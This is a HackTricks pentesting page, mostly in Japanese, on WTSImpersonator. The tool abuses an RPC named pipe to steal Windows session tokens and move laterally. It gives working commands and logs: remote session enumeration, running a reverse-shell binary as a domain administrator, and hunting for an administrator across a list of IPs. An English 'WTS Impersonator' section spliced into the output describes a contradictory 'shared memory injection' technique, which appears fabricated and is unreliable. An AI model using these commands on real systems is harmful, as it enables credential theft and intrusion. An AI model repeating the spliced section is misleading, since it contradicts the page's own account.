9.5 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
WTS Impersonatorは、通常の「Token Impersonation技術」を使用せずに、ユーザーの列挙と他のユーザーのトークンの盗難を行うために「\pipe\LSM_API_service」RPC Named pipeを悪用します。これにより、ステルス性を保ちながら簡単に横方向移動ができます。この技術は、Omri Basoによって研究・開発されました。
WTSImpersonator
ツールはgithubで見つけることができます。
WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW
enum
モジュール:
ツールが実行されているマシン上のローカルユーザーを列挙します。
.\WTSImpersonator.exe -m enum
リモートでIPまたはホスト名を指定してマシンを列挙します。
.\WTSImpersonator.exe -m enum -s 192.168.40.131
exec
/ exec-remote
モジュール:
"exec" と "exec-remote" の両方は "Service" コンテキストで実行する必要があります。
ローカルの "exec" モジュールは、WTSImpersonator.exe と実行したいバイナリ -c フラグ
だけが必要です。これは通常の "C:\Windows\System32\cmd.exe" であり、指定したユーザーとして CMD を開くことができます。以下は例です。
.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
以下の手順で、サービスコンテキストを取得するためにPsExec64.exeを使用することができます。
- PsExec64.exeをダウンロードして実行します。
- コマンドプロンプトを開き、以下のコマンドを入力します。
PsExec64.exe -i -s cmd.exe
- Enterキーを押してコマンドを実行します。
- 新しいコマンドプロンプトが開き、サービスコンテキストで実行されていることが確認できます。
これにより、サービスコンテキストでの操作が可能になります。
.\PsExec64.exe -accepteula -s cmd.exe
exec-remote
に関しては、少し異なる方法があります。私は、PsExec.exe
と同様にリモートでインストールできるサービスを作成しました。
このサービスは、SessionId
と実行するバイナリ
を引数として受け取り、適切な権限を持ってリモートでインストールおよび実行されます。
以下は、実行例です:
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m enum -s 192.168.40.129
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
WTSEnumerateSessions count: 1
[2] SessionId: 2 State: WTSDisconnected (4) WinstationName: ''
WTSUserName: Administrator
WTSDomainName: LABS
WTSConnectState: 4 (WTSDisconnected)
上記のように、管理者アカウントのSessionid
は2
ですので、リモートでコードを実行する際にid
変数に使用します。
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
user-hunter
モジュール:
ユーザーハンターモジュールは、複数のマシンを列挙し、指定されたユーザーが見つかった場合、そのユーザーの代わりにコードを実行する能力を提供します。 これは、いくつかのマシンでローカル管理者権限を持ちながら、「ドメイン管理者」を探す際に役立ちます。
.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
WTS Impersonator
The WTS Impersonator technique allows an attacker to steal user credentials by impersonating a Windows Terminal Server (WTS) session.
Description
When a user logs into a Windows Terminal Server, a session is created for that user. This session is managed by the Windows Terminal Services (WTS) service. The WTS Impersonator technique takes advantage of the fact that the WTS service uses a shared memory section to store session information, including user credentials.
By injecting malicious code into the WTS shared memory section, an attacker can intercept and steal user credentials as they are being processed by the WTS service. This allows the attacker to gain unauthorized access to the user's account and potentially escalate their privileges.
Steps
-
Identify the target Windows Terminal Server and the user whose credentials you want to steal.
-
Use a tool like
wtsimpersonator.exe
to inject malicious code into the WTS shared memory section. -
The malicious code should be designed to intercept and capture user credentials as they are being processed by the WTS service.
-
Once the user credentials have been captured, they can be exfiltrated to the attacker's remote server for further analysis.
Mitigation
To mitigate the risk of WTS Impersonator attacks, consider the following measures:
-
Regularly update and patch the Windows Terminal Server to ensure that known vulnerabilities are addressed.
-
Implement strong access controls and authentication mechanisms to prevent unauthorized access to the WTS service.
-
Monitor the WTS service for any suspicious activity or unauthorized access attempts.
-
Educate users about the risks of phishing attacks and the importance of not sharing their credentials with anyone.
-
Use multi-factor authentication (MFA) to add an extra layer of security to user accounts.
By implementing these measures, you can significantly reduce the risk of WTS Impersonator attacks and protect user credentials from being stolen.
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m user-hunter -uh LABS/Administrator -ipl .\test.txt -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
[+] Hunting for: LABS/Administrator On list: .\test.txt
[-] Trying: 192.168.40.131
[+] Opned WTS Handle: 192.168.40.131
[-] Trying: 192.168.40.129
[+] Opned WTS Handle: 192.168.40.129
----------------------------------------
[+] Found User: LABS/Administrator On Server: 192.168.40.129
[+] Getting Code Execution as: LABS/Administrator
[+] Trying to execute remotly
[+] Transfering file remotely from: .\WTSService.exe To: \\192.168.40.129\admin$\voli.exe
[+] Transfering file remotely from: .\SimpleReverseShellExample.exe To: \\192.168.40.129\admin$\DrkSIM.exe
[+] Successfully transfered file!
[+] Successfully transfered file!
[+] Sucessfully Transferred Both Files
[+] Will Create Service voli
[+] Create Service Success : "C:\Windows\voli.exe" 2 C:\Windows\DrkSIM.exe
[+] OpenService Success!
[+] Started Sevice Sucessfully!
[+] Deleted Service